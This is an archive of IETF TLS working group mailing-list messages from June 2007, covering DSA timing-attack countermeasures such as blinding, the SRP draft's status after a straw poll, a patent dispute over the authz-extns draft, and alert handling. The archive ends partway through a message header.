Fri, 08 Jun 2007 07:15:57 -0400 Received: from moutng.kundenserver.de ([212.227.126.171]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HwcRf-0002zc-TN for tls@ietf.org; Fri, 08 Jun 2007 07:15:57 -0400 Received: from [134.147.40.246] (helo=tau.invalid) by mrelayeu.kundenserver.de (node=mrelayeu2) with ESMTP (Nemesis), id 0MKwtQ-1HwcRc2tO4-0003NQ; Fri, 08 Jun 2007 13:15:53 +0200 Received: by tau.invalid (Postfix, from userid 1000) id 4F2FC1A45F; Fri, 8 Jun 2007 13:15:52 +0200 (CEST) Date: Fri, 8 Jun 2007 13:15:52 +0200 From: Bodo Moeller To: Pasi.Eronen@nokia.com Subject: Re: [TLS] Issue #12: RSA/DSA/DH timing attacks Message-ID: <20070608111552.GA15118@tau.invalid> References: <20070603145002.85D3133C4B@delta.rtfm.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.9i X-Provags-ID: V01U2FsdGVkX18w4gvBiBZ464+RQUdlvu8zuPvM9t0dgBoUEtY 8MqcRpnSSzYZKknJAdZRrh/8R8pzDY4dLOliG9NqKSMaEnqgX3 mUW3yFV05YeTUPpt/NPuQ== X-Spam-Score: 0.0 (/) X-Scan-Signature: 0ddefe323dd869ab027dbfff7eff0465 Cc: tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org On Thu, Jun 07, 2007 at 03:51:43PM +0300, Pasi.Eronen@nokia.com wrote: > Eric Rescorla wrote: >> TLS 1.2 already requires some sort of defense against timing >> analysis on RSA. It is known that timing analysis is possible >> against DSA but I know of no published defense against it >> other than fixed-length computations. (As opposed to the >> blinding defense for RSA). >> In San Diego, I asked Tim of NIST knew of one but haven't >> heard back. >> I'd like to put this to bed. I suggest that unless someone comes >> up with a defense suggestion by Chicago we simply say that this >> is an issue with DSA implementations and suggest fixed-length >> computations as a possible defense. Comments? > Well, if there's no publicly-known defense (like there is for RSA), > then I don't see what else we can do (other than require some > countermeasure, and suggest fixed-length computations)... Of course you could use blinding with DSA too (in many different styles), but DSA isn't as vulnerable to timing attacks as RSA is, in the first place: In RSA, you have a constant exponent that will be used for many different inputs (allowing the adversary to observe the same exponent in action in many different situations); in DSA, in contrast, the exponentiation uses *ephemeral* exponents anyway, so timing it doesn't quite as much useful information. If you consider more fine-grained attacks (such as parallel spy processes running on the same processor that obtain cache-access or branch-prediction timings), then neither RSA with blinding nor DSA is secure. So even for RSA, you can't put down the one single recommendation that will make it secure against timing attacks. Having said that, here's how you could try to add blinding to DSA exponentiations -- either base and exponent blinding or just exponent blinding: - Compute g^k as g'^k' where g' = g^m (m random) is a blinded base value, and where k' = m'*k mod q. (Just as with RSA, you could keep the blinding parameters for a number of cryptographic operations for better performance.) - Compute g^k as g^(k + m*q + m') * g^(q - m'), where blinding parameters m and m' both can be quite short. Bodo _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Fri Jun 08 07:17:37 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HwcTJ-0003rA-2t; Fri, 08 Jun 2007 07:17:37 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HwcTI-0003qw-1b for tls@ietf.org; Fri, 08 Jun 2007 07:17:36 -0400 Received: from moutng.kundenserver.de ([212.227.126.177]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HwcTG-00041H-MA for tls@ietf.org; Fri, 08 Jun 2007 07:17:36 -0400 Received: from [134.147.40.246] (helo=tau.invalid) by mrelayeu.kundenserver.de (node=mrelayeu2) with ESMTP (Nemesis), id 0MKwtQ-1HwcT905f3-0003MJ; Fri, 08 Jun 2007 13:17:27 +0200 Received: by tau.invalid (Postfix, from userid 1000) id B64521A45F; Fri, 8 Jun 2007 13:17:26 +0200 (CEST) Date: Fri, 8 Jun 2007 13:17:26 +0200 From: Bodo Moeller To: Pasi.Eronen@nokia.com Subject: Re: [TLS] Issue #12: RSA/DSA/DH timing attacks Message-ID: <20070608111726.GA15643@tau.invalid> References: <20070603145002.85D3133C4B@delta.rtfm.com> <20070608111552.GA15118@tau.invalid> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20070608111552.GA15118@tau.invalid> User-Agent: Mutt/1.5.9i X-Provags-ID: V01U2FsdGVkX1+qK+5/17ifLI1LLzq+FxaV2ilJfg6Ye6gLCEM n8pUE9jk0uItVrgO/auC6iD3FcHZRbVgI3KtlU7eszbpvZ5Lyj 17MkiZMJyyRN0Do7zAmvw== X-Spam-Score: 0.0 (/) X-Scan-Signature: 856eb5f76e7a34990d1d457d8e8e5b7f Cc: tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org On Fri, Jun 08, 2007 at 01:15:52PM +0200, Bodo Moeller wrote: > Having said that, here's how you could try to add blinding to DSA > exponentiations -- either base and exponent blinding or just exponent > blinding: > > - Compute g^k as g'^k' where g' = g^m (m random) is a blinded > base value, and where k' = m'*k mod q. (Just as with RSA, you > could keep the blinding parameters for a number of cryptographic > operations for better performance.) Er, k' = k/m' mod q, of course. (I.e., you need a mod-q inversion.) > - Compute g^k as g^(k + m*q + m') * g^(q - m'), where blinding > parameters m and m' both can be quite short. Bodo _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Fri Jun 08 12:19:32 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HwhBD-0008Bg-OK; Fri, 08 Jun 2007 12:19:15 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HwhBD-0008Bb-81 for tls@ietf.org; Fri, 08 Jun 2007 12:19:15 -0400 Received: from smtp.nokia.com ([131.228.20.173] helo=mgw-ext14.nokia.com) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HwhBA-0003PS-Dq for tls@ietf.org; Fri, 08 Jun 2007 12:19:15 -0400 Received: from esebh105.NOE.Nokia.com (esebh105.ntc.nokia.com [172.21.138.211]) by mgw-ext14.nokia.com (Switch-3.2.5/Switch-3.2.5) with ESMTP id l58GIpUt019318 for ; Fri, 8 Jun 2007 19:19:10 +0300 Received: from esebh103.NOE.Nokia.com ([172.21.143.33]) by esebh105.NOE.Nokia.com with Microsoft SMTPSVC(6.0.3790.1830); Fri, 8 Jun 2007 19:19:09 +0300 Received: from esebe105.NOE.Nokia.com ([172.21.143.53]) by esebh103.NOE.Nokia.com with Microsoft SMTPSVC(6.0.3790.1830); Fri, 8 Jun 2007 19:19:09 +0300 X-MimeOLE: Produced By Microsoft Exchange V6.5 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Date: Fri, 8 Jun 2007 19:19:08 +0300 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Conclusion of TLS SRP straw poll Thread-Index: Acep6L3CrT94tl8yQ/q1TQLJ5BM3ZQ== From: To: X-OriginalArrivalTime: 08 Jun 2007 16:19:09.0716 (UTC) FILETIME=[BE83BD40:01C7A9E8] X-Nokia-AV: Clean X-Spam-Score: 0.2 (/) X-Scan-Signature: 9182cfff02fae4f1b6e9349e01d62f32 Cc: Subject: [TLS] Conclusion of TLS SRP straw poll X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org According to our count, 19 people sent some kind of comments=20 during the straw poll. Of those, - 6 supported PS - 5 supported Inf/Exp - 1 felt this should not be published at all, or at most, Inf/Exp - 1 said WG should be consistent, and Inf/Exp would be most=20 consistent with past WG decisions. - 1 preferred rules that put all "IPR-affected" drafts to Inf/Exp (but not totally clear whether this draft was counted here). - 1 for "just get it out, don't care which status" - 1 wanted more information about IPR before making decision - 3 didn't express an opinion either way (as far as we can tell), but only commented some other discussions in this thread. We believe this does not represent WG consensus for Proposed Standard. Thus, the document will progress with intended status of Informational. Once the authors fix the one remaining semi-editorial issue=20 ([SRP-6] should be informative reference instead of normative),=20 we'll send this to AD evaluation. Best regards, Pasi & Eric _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Fri Jun 08 16:43:25 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HwlIm-000734-KU; Fri, 08 Jun 2007 16:43:20 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HwlIl-00072C-42 for tls@ietf.org; Fri, 08 Jun 2007 16:43:19 -0400 Received: from cirrus.av8.net ([130.105.36.66]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HwlIj-00072Y-J0 for tls@ietf.org; Fri, 08 Jun 2007 16:43:19 -0400 Received: from [130.105.12.10] ([130.105.12.10]) (authenticated bits=0) by cirrus.av8.net (8.12.11/8.12.11) with ESMTP id l58KhEAw024505 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 8 Jun 2007 16:43:17 -0400 Date: Fri, 8 Jun 2007 16:43:13 -0400 (EDT) From: Dean Anderson X-X-Sender: dean@citation2.av8.net To: Mark Brown Subject: RE: [TLS] Patents and draft-housley-authz-extns-07 In-Reply-To: <002401c7a855$03831fc0$6801a8c0@rps.local> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: 0.8 (/) X-Scan-Signature: 25eb6223a37c19d53ede858176b14339 Cc: tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org Also I have learned that not everyone on the TLS list knows the history of the draft, particularly the misbehavior. I'm going to put up a web page on http://www.av8.net/IETF-watch/People/Housley/ to document this. Inline On Wed, 6 Jun 2007, Mark Brown wrote: > Dean, > > It sounds like you're expecting that the RedPhone Security patent will issue > as filed but that it really doesn't contain any innovation -- i.e. that the > patent grantors of the world will screw this one up. I'm less cynical on > this question, and so on that point I have to disagree with you. I'm not cynical about the PTO 'screwing it up' (see also the clarification below). But as president of the LPF, it is true that I've seen many patents issue that aren't novel, and many that are finally found to be invalid after being litigated or on review after issue. The patent office, to its credit, reviews such bad patents when complaints are made after issue. But the fact is, that there are very few novel software inventions out there. The reason, I think, that there are more bad software patents than other kinds of patents is because it is easier for software writers to invent their own terms which foil patent searches--there have been some interesting proposals (one was a new language) to solve that problem, but none that are fully workable [other than, of course, eliminating software patents]. But I do see novel software patents, now and again. Those few novel inventions create the most concern for the LPF and others, because when an invention is truly novel, it is often very difficult to come up with another alternative that is competitive. A good example is the Fourier Transform and the Fast Fourier Transform (FFT). Once you have a patent on the FFT, its pretty hard to compete using the old transform method. A novel invention usually has a benefit that isn't found anywhere else; the benefit might not be performance, but it is something that makes the invention "better", and that something is also novel. A good example of a not-novel patent is the infamous XOR patent, where ATT patented the use of XOR to update a graphical mouse pointer image. [the patent office rescinded that patent on review] By contrast, your authz-extns claims aren't really novel: You didn't invent federated authorization and identity. You didn't invent using X.509 information for authorization. There is nothing novel about moving around X.509 certificate information. We do that all the time without TLS extensions. X.500 and LDAP use certification information for authorization. Anyone trying to implement say, RADIUS over TLS, would have to carry most/all of the same steps. There is nothing novel about using authorization with TLS. Almost all web apps do that to some extent. Every step in your patent specification is dictated by the TLS protocol, or by the steps required for authorization as determined previously in other applications. So, you haven't invented anything; what you have is really a copyright on a sequence of obvious steps; steps that would be obvious to anyone trying to perform authorization through a TLS protocol extension. There is nothing clever or inventive in what you've done. There is no secret to reveal in the patent. What you have is an 'obvious first use'. What is an 'obvious first use'? For example, the first person to send HTTP over 10GigE is not entitled to a patent on sending HTTP over 10GigE, even though they are the first person to do so. The only novelty is being the first to do something obvious. Similarly, the only "first" in your patent, is being the first to send authorization information using a TLS extension. The patent office is supposed to recognize this sort of non-patentable 'obvious first use', but often does not do so until the patent is later challenged. So, my view isn't cynicism, but long experience with the patent office. The patent office is well aware of its limitations, and honestly works very hard to improve its processes. And the PTO has improved a lot since the LPF was first founded. When we began our efforts, the PTO didn't hire software people, and had no computer scientists on staff to judge software patents. That's how the infamous XOR patent got issued (and was ultimately revoked on review). The PTO responded to criticism, and began hiring computer scientists to review software patents. When the LPF first began, the PTO didn't publish patent applications until after the patent was granted. The fact that your patent application is public, is a result of the PTO trying to improve its process in response to criticism by the LPF and others. Things are much better now, but a lot still slips though first review. This too, is changing, but slowly. Clarification on 'likely to issue' You also mentioned something about my statement that patent was 'likely to issue' indicating cynicism. This needs some clarification. My statement is not cynical. It is not the case that I expect the patent office to "screw it up"---in fact, the PTO will try hard to fix what their mistakes after issuing a bad patent. It is true that I don't think your patent is worthy of issue, but that is not what I mean when I talk about 'likely to issue'; nor is it that I am second guessing the patent office; When I say 'likely to issue', I mean that as a matter of our own preparation, the patent office has published a live patent application, and we have to anticipate that this patent will happen; This is the purpose pre-issue publication--to give us advance warning. We anticipate this on all published applications. I mean 'likely to issue' in the same sense as a live grenade is anticipated to explode, and would be 'likely to explode'. It could be a "fake grenade", but we can't assume that. We have been given notice by the PTO of something that will 'likely happen', and have to act accordingly to minimize our exposure to the anticipated patent. This is the purpose of publicizing the application before issuance. > I think federated authorization & identity techniques are fascinating > and are likely to be very useful in the future of Internet > communications. Federated authorization and identity techniques have been important in the past, and I'm sure they will be important in the future. > I love my job. It energizes me because I fully intend to bring useful > products to market -- even though that's difficult to do as a small > company. I love my job, too. And I run a small company, too. And I play by the rules and I work really hard, and I contribute to community projects like the LPF. And like others who also work really hard and play fairly, I take some offense at people who cheat and expect not to be penalized. > I may fail, but I'll try. My country -- at least historically -- > thought that patents were a way to encourage this sort of passion > because historically it's been the cradle of innovation. Your passion does not entitle you to a patent or a monopoly. Other people also have a passion for federated authorization and identity, and for TLS and SSL, and would like to engage their passions without being monopolized. > That's the spirit behind what I'm doing, and I hope we can find a way > to respectfully disagree about the systems supporting patents and the > RedPhone Security filing in particular. That is not entirely the spirit of what you are doing. You (that is, your company, associate, contractor) have cheated by not revealing your patent application to the IETF when you submitted your draft 7 times, each time stating there were no undisclosed patents. While the writing author (Housley) may be more at fault personally than you are personally at fault, you and your company still bear the burden of the failure, just as your business partners bear the burden of your personal failures as CEO. There has to be a penalty for that misbehavior, otherwise it would be unfair to those who worked hard, played by the rules and disclosed their patents as required. I have learned that not everyone on the TLS list knows the history of the draft, particularly the misbehavior. I'm going to put up a web page on http://www.av8.net/IETF-watch/People/Housley/ to document this. > It's taken me a while to understand your criticism on this point, but I > think I get it now. I have prepared a corrected license which will be ready > and published shortly (or ASAP at the latest). I look forward to seeing this. I should note, though, that resolving the patent issue won't resolve the cheating issue, and won't absolve Housley of the bad faith issue. --Dean -- Av8 Internet Prepared to pay a premium for better service? www.av8.net faster, more reliable, better service 617 344 9000 _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Fri Jun 08 16:47:47 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HwlN5-00031E-6Q; Fri, 08 Jun 2007 16:47:47 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HwlN3-00030r-EK; Fri, 08 Jun 2007 16:47:45 -0400 Received: from cirrus.av8.net ([130.105.36.66]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HwlN2-0008Iv-5O; Fri, 08 Jun 2007 16:47:45 -0400 Received: from [130.105.12.10] ([130.105.12.10]) (authenticated bits=0) by cirrus.av8.net (8.12.11/8.12.11) with ESMTP id l58KlhTT024508 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 8 Jun 2007 16:47:43 -0400 Date: Fri, 8 Jun 2007 16:47:42 -0400 (EDT) From: Dean Anderson X-X-Sender: dean@citation2.av8.net To: Eric Rescorla Subject: Re: [TLS] Comments on draft-housley-tls-authz-extns-07 In-Reply-To: <20070529221946.D2D5E33C4A@delta.rtfm.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: 0.8 (/) X-Scan-Signature: ea4ac80f790299f943f0a53be7e1a21a Cc: tls@ietf.org, iesg@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org > > Dean, > > That is not correct. This is (and was) an AD sponsored submission. > The TLS WG was previously asked if it wished to take on this document > and said no. The question of whether this document should go back to > ground zero (i.e., as if that discussion had not taken place) > is not really an appropriate one for this group and should be > addressed to the IESG or the IETF mailing list. If you want to > argue that TLS-WG SHOULD take up this kind of work, that is of > course approriate, but it's not a procedural requirement here. I didn't find any previous discussion of whether the WG should take on this draft. Was there a "hum" on this? Did you decide this unilaterally? --Dean -- Av8 Internet Prepared to pay a premium for better service? www.av8.net faster, more reliable, better service 617 344 9000 _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Fri Jun 08 16:50:27 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HwlPe-0003k8-E3; Fri, 08 Jun 2007 16:50:26 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HwlPd-0003jb-BA; Fri, 08 Jun 2007 16:50:25 -0400 Received: from cirrus.av8.net ([130.105.36.66]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HwlPc-0000n1-Vj; Fri, 08 Jun 2007 16:50:25 -0400 Received: from [130.105.12.10] ([130.105.12.10]) (authenticated bits=0) by cirrus.av8.net (8.12.11/8.12.11) with ESMTP id l58KoOUx024514 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 8 Jun 2007 16:50:24 -0400 Date: Fri, 8 Jun 2007 16:50:23 -0400 (EDT) From: Dean Anderson X-X-Sender: dean@citation2.av8.net To: Sam Hartman Subject: Re: [TLS] Comments on draft-housley-tls-authz-extns-07 In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: 0.8 (/) X-Scan-Signature: 5ebbf074524e58e662bc8209a6235027 Cc: iesg@ietf.org, tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org On Wed, 30 May 2007, Sam Hartman wrote: > >>>>> "Dean" == Dean Anderson writes: > > Dean> I believe the IETF announced that it would be sending this > Dean> draft back to the 'starting gate'. To me, that means that > Dean> TLS has to do several things: > > Dean, Eric has corrected your statements about where this draft is in > the process. Yes. I have to say, I'm not too happy about that, and am feeling misled yet again. I expected more effort than just posting an email requesting comment to the TLS working group. I understood the TLS working group was going to do some work on the draft to find out if the patented standard is actually worth the trouble, and __approve__ or __reject__ the draft independently of the IESG. What is actually happening is less even than a rubber-stamp. (a rubber stamp is -some- approval) It seems your rubber-stamp process does not permit enough time to come up with an alternative, nor is there any working group to work on doing so. It seems the deck is stacked for no change. > Dean> 1) Consider non-patented alternatives in accordance with > Dean> RFC2418 and RFC3979. > > Dean, this is an excellent idea. Anyone who wants to including you can > discuss alternatives to the technology. The availability of other ways > to do this--particularly when combined with information about whether > people are willing to do the necessary work to write up and implement > these alternatives--would be great input to the IESG. I'd appreciate > anything you can do in this regard. To what working group should I take this work to? Not TLS, it hasn't agreed (has affirmatively refused) to take on this work. > As an example, if all the implementers say that they prefer this > solution to alternatives they have considered, and would implement > this solution but not those alternatives, that would be a strong > argument in favor of publication. If on the other hand people say > that they would write up an alternative and that they would implement > the alternative, that would argue against publication. No working group will consider conducting this work. > What you may be assuming is that we have an obligation to conduct such > a review or that we need to block our work until such a review is > done. I think that RFC3979 includes an obligation to conduct such a review even if cursory. I rather agree that RFC3979 needs further refinement on the effort required in general and timing of the effort required. But in the present cirumstances, I think the scandal imposes an obligation to __thoroughly__ review the matter; that means some kind of notable, significant work at review must be done. We need more than a whitewash. > so if you want to propose an alternative, you should do so. If you > know others who want to propose an alternative you should encourage > them. Yes, I do. Where should I tell them to go? This subject is off-topic for TLS after the chair refuses to take up the subject. You can't have it both ways; unless you _want_ a whitewash. You've officially asked for comments, but this group refuses to do any work on the matter. A convenient conundrum; A catch-22. And when no work gets done, you "don't have to wait around before re-approving". That is a charade; A sham; A debacle. > That's why we are soliciting comments. The ietf list discussion was > in the minds of some inconclusive. Actually, I think it was ended in the premise that the TLS working group would work on the document, and there is nothing to discuss until that is done. > We're soliciting review here in hopes that the discussion will lead to > a clear consensus. And how is anyone outside the IESG to know there was a clear consensus? No working group has worked on the tainted document, to remove the taint of the previous IESG scandal. > Dean> 3) Pass a working group last-call, per RFC2026 and RFC2418. > > Not applicable because this is not a WG document. I think it _should_be_ made a working group document, and that someone besides the IESG should put some effort into reviewing the document, before it submitted back to the IESG. This process, as it is, seems to be a sham. If I knew that earlier, I would have said that to the IETF list; but I believed that you (Sam Hartman) would ensure a proper thorough review. --Dean -- Av8 Internet Prepared to pay a premium for better service? www.av8.net faster, more reliable, better service 617 344 9000 _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Fri Jun 08 17:26:16 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HwlyF-0005eI-7L; Fri, 08 Jun 2007 17:26:11 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HwlyD-0005dv-Jt; Fri, 08 Jun 2007 17:26:09 -0400 Received: from [128.18.230.194] (helo=delta.rtfm.com) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HwlyC-0005N1-AT; Fri, 08 Jun 2007 17:26:09 -0400 Received: from delta.rtfm.com (localhost.rtfm.com [127.0.0.1]) by delta.rtfm.com (Postfix) with ESMTP id 03D0A33C21; Fri, 8 Jun 2007 14:25:07 -0700 (PDT) Date: Fri, 08 Jun 2007 14:25:07 -0700 From: Eric Rescorla To: Dean Anderson Subject: Re: [TLS] Comments on draft-housley-tls-authz-extns-07 In-Reply-To: References: <20070529221946.D2D5E33C4A@delta.rtfm.com> User-Agent: Wanderlust/2.14.0 (Africa) Emacs/21.3 Mule/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Message-Id: <20070608212508.03D0A33C21@delta.rtfm.com> X-Spam-Score: 0.0 (/) X-Scan-Signature: ffa9dfbbe7cc58b3fa6b8ae3e57b0aa3 Cc: iesg@ietf.org, tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org At Fri, 8 Jun 2007 16:47:42 -0400 (EDT), Dean Anderson wrote: > > > > > Dean, > > > > That is not correct. This is (and was) an AD sponsored submission. > > The TLS WG was previously asked if it wished to take on this document > > and said no. The question of whether this document should go back to > > ground zero (i.e., as if that discussion had not taken place) > > is not really an appropriate one for this group and should be > > addressed to the IESG or the IETF mailing list. If you want to > > argue that TLS-WG SHOULD take up this kind of work, that is of > > course approriate, but it's not a procedural requirement here. > > I didn't find any previous discussion of whether the WG should take on > this draft. > > Was there a "hum" on this? > > Did you decide this unilaterally? Please see the minutes from the March 06 IETF meeting (http://www3.ietf.org/proceedings/06mar/minutes/tls.html) -Ekr _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Sun Jun 10 16:51:47 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HxUNq-0000NP-Km; Sun, 10 Jun 2007 16:51:34 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HxUNp-0000NJ-Ef for tls@ietf.org; Sun, 10 Jun 2007 16:51:33 -0400 Received: from smtpde01.sap-ag.de ([155.56.68.171]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HxUNo-0003C5-35 for tls@ietf.org; Sun, 10 Jun 2007 16:51:33 -0400 Received: from sap-ag.de (smtpde01) by smtpde01.sap-ag.de (out) with ESMTP id WAA27660; Sun, 10 Jun 2007 22:51:23 +0200 (MESZ) From: Martin Rex Message-Id: <200706102051.l5AKpOvm012071@fs4113.wdf.sap.corp> Subject: Re: [TLS] Issue 16: Alert clarifications To: Pasi.Eronen@nokia.com Date: Sun, 10 Jun 2007 22:51:23 +0200 (MEST) In-Reply-To: from "Pasi.Eronen@nokia.com" at Jun 7, 7 03:33:13 pm MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-SAP: out X-SAP: out X-SAP: out X-Spam-Score: 0.0 (/) X-Scan-Signature: 8abaac9e10c826e8252866cbe6766464 Cc: tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: martin.rex@sap.com List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org Pasi.Eronen@nokia.com wrote: > > Eric Rescorla wrote: > > - Add a warning that some implementations tear down the connection > > for any alert so warning alerts are dangerous. New implementations > > SHOULD not tear down the connection for warning alerts. > > Why not simply "MUST NOT tear down"? (this requirement would apply > only when TLS 1.2 is negotiated, so what some implementations did > with 1.0 or 1.1 doesn't matter) I don't undestand what should be new to this. A fatal alert has always been "fatal" for the handshake, and implementations that continued after a fatal alert can be considered broken. A warning alert has never been "fatal", otherwise the distinction into fatal and warning would be non-sensical. It may have not been fully spelled out in the spec, but this is a level of implicit common sense that one should be able to expect from a sensible implementor. I know there are broken implementations out there, and I would appreciate if they are fixed sooner rather than later, and independent of whether they add TLS v1.2 or not. There is one pretty large installed base that doesn't send any alert in most situations, and I find that highly annoying. Combined with a Web-Browser that produces that same meaningless error message for >95% of the possible errors (including connection timeout and connection refused), this makes diagnosing SSL/TLS configuration errors pretty difficult. -Martin _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Sun Jun 10 22:53:08 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1Hxa1b-0007YO-7E; Sun, 10 Jun 2007 22:52:59 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1Hxa1Z-0007YJ-Hq for tls@ietf.org; Sun, 10 Jun 2007 22:52:57 -0400 Received: from smtpout1468.sc1.he.tucows.com ([64.97.157.168] helo=n034.sc1.he.tucows.com) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1Hxa1Z-0002Gb-8x for tls@ietf.org; Sun, 10 Jun 2007 22:52:57 -0400 Received: from [192.168.0.2] (24.6.51.98) by n034.sc1.he.tucows.com (7.2.069.1) (authenticated as nelson@bolyard.com) id 46670569000A626A; Mon, 11 Jun 2007 02:52:46 +0000 Message-ID: <466CB8EF.9080700@bolyard.com> Date: Sun, 10 Jun 2007 19:52:31 -0700 From: Nelson B Bolyard Organization: Spam haters R US User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a5pre) Gecko/20070528 SeaMonkey/1.5a MIME-Version: 1.0 To: Bodo Moeller Subject: Re: [TLS] Issue 16: Alert clarifications References: <20070603145730.4507B33C4B@delta.rtfm.com> <20070607132918.4459D33C58@delta.rtfm.com> <4668CDF7.9030600@bolyard.com> <20070608083514.GA11066@tau.invalid> In-Reply-To: <20070608083514.GA11066@tau.invalid> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 